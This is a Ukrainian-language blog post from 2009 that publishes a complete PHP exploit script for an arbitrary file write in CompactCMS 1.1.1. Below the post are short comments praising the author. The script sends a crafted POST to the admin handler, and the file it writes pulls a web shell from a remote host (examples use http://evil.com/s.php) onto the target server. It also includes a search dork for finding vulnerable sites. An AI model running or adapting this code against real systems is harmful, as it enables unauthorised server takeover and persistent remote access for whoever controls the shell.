Home > Безпека, Експлоіти/Exploits > CompactCMS Remote Arbitrary File Upload Exploit

CompactCMS Remote Arbitrary File Upload Exploit

October 15th, 2009 Dimi4 Leave a comment Go to comments

Писав вже давно, лежало в RoA на античаті,  тепер думаю немає ніякого сенсу зберігати його в приваті.

http://uasc.org.ua/files/compactcms.php.txt

  1. <?php
  2.  
  3. /**
  4.  * @Product: MMIX – CompactCMS
  5.  * @Version: 1.1.1
  6.  * @Site: CompactCMS.nl
  7.  * @Dork: "© 2009 CompactCMS"  
  8.  * @Found by: Dimi4  
  9.  * @Date: 8.04.2009
  10.  *  @Bug Function [admin\handler.inc.php] [50-62 lines] :
  11.  *  */
  12. /////////////////////////////////////////////////////////////////////
  13. ## $name        = htmlentities($_GET['file']);                      #
  14. ## $content = $_POST['content'];                                    #
  15. ## $filename    = "../content/".htmlentities($_GET['file']).".php"; #
  16. ##                                                                  #
  17. ##  if (is_writable($filename)) {                                   #
  18. ##      if (!$handle = fopen($filename, ‘w’)) {                     #
  19. ##           echo "[ERR105] ".$sw_err02." (".$filename.").";        #
  20. ##           exit;                                                  #
  21. ##      }                                                           #
  22. ##      if (fwrite($handle, $content) === FALSE) {                  #
  23. ##          echo "[ERR106] ".$sw_err03." (".$filename.").";         #
  24. ##          exit;                                                   #
  25. ##      }                                                           #
  26.  ////////////////////////////////////////////////////////////////////  
  27.  
  28. function http_send($host, $packet)
  29. {
  30.  if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
  31.  die("\nsocket_create(): " . socket_strerror($s) . "\n");
  32.  
  33.  if (socket_connect($s, $host, 80) == false)
  34.  die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");
  35.  
  36.  socket_write($s, $packet, strlen($packet));
  37.  while ($m = socket_read($s, 2048)) $response .= $m;
  38.  
  39.  return $response;
  40. }
  41.  
  42. function help()
  43.  {
  44.  global $argv;
  45.  echo "\n\n[?] Usage: ".$argv[0]." <host> <path> <shell>.\n\n";
  46.  echo "[?][?] Ex: ".$argv[0]." www.host.com /ct/ http://evil.com/s.php\n\n";
  47.  echo "[?] Usage: ".$argv[0]." <host> <path> <shell> <login> <pass>.\n\n";
  48.  echo "[?][?] Ex (Basic AUTH): ".$argv[0]." www.host.com /ct/ http://evil.com/s.php admin 12345\n\n";
  49.  die();
  50.  }
  51.  
  52. if ($argv[1] == "") {
  53.  help();
  54.  die();
  55.  }
  56.  
  57. $host = $argv[1];
  58. $path = $argv[2];
  59. $shell = $argv[3];
  60. $login = $argv[4];
  61. $pass = $argv[5];
  62. $tmpshell = "1123";
  63. $shellname = "manpage.php";
  64.  
  65. $payload .= "action=Save changes&amp;content=<?php copy(‘{$shell}’, ‘./{$shellname}’); unlink(‘{$tmpshell}.php’); header(‘Location:{$shellname}’);?>\r\n\r\n";
  66.  
  67. echo("
  68. ——————————————————————
  69. \tCompactCMS v 1.1.1 Remote Arbitrary File Upload Exploit
  70. ——————————————————————\n\n");
  71. echo("**\t Coded by Dimi4, greetz Antichat\n\n");
  72. echo ("[+] Connecting to {$host}…\n");
  73.  
  74. $packet  = "POST http://{$host}/{$path}/admin/handler.inc.php?file={$tmpshell} HTTP/1.0\r\n";
  75. $packet .= "Host: {$host}\r\n";
  76. $packet .= "prama: no-cache\r\n";
  77. if(!empty($login) &amp;&amp; !empty($pass))
  78. {
  79.  $packet .= "Authorization: Basic ".base64_encode($login.’:’.$pass)."\r\n";
  80. }
  81. $packet .= "Accept: text/html\r\n";
  82. $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  83. $packet .= "Content-Length: ".strlen($payload)."\n\n";
  84. $packet .= $payload;
  85. $response = http_send($host, $packet);
  86. //echo ($response);
  87.  
  88. if (preg_match("/WWW-Authenticate/i", $response))
  89. {
  90.  die("[-] Authorization Required. Set Login And Password or CORRECT them please!\n");
  91. }
  92. else
  93. {
  94.  echo ("[+] Sending Payload…\n");
  95.  echo ("[+] Downloading shell…\n");
  96.  if(!file_get_contents($shell))
  97.  {
  98.  echo ("\t[!] Warning! Can’t Download shell!\n");
  99.  $warning = "Maybe";
  100.  }
  101.  echo ("\t[+]$warning Successful! Check: http://{$host}{$path}content/$tmpshell.php\n");
  102.  die();
  103. }
  104.  
  105. ?>
  1. login999
    October 15th, 2009 at 19:22 | #1

    Молодець , а що ще скажеш :)

  2. xa-xa89
    October 15th, 2009 at 20:15 | #2

    Даєшь злиття привату з РОА=)=)=)
    а взагалі, молодець)

  3. October 16th, 2009 at 11:59 | #3

    Dmi4 – викладуй все порно з ROA.
    Доречі, багато сайтів с CompactCMS ?

  4. October 16th, 2009 at 12:35 | #4

    а фіг його знає)
    А все з роа неможу злити) Права немаю))

  1. No trackbacks yet.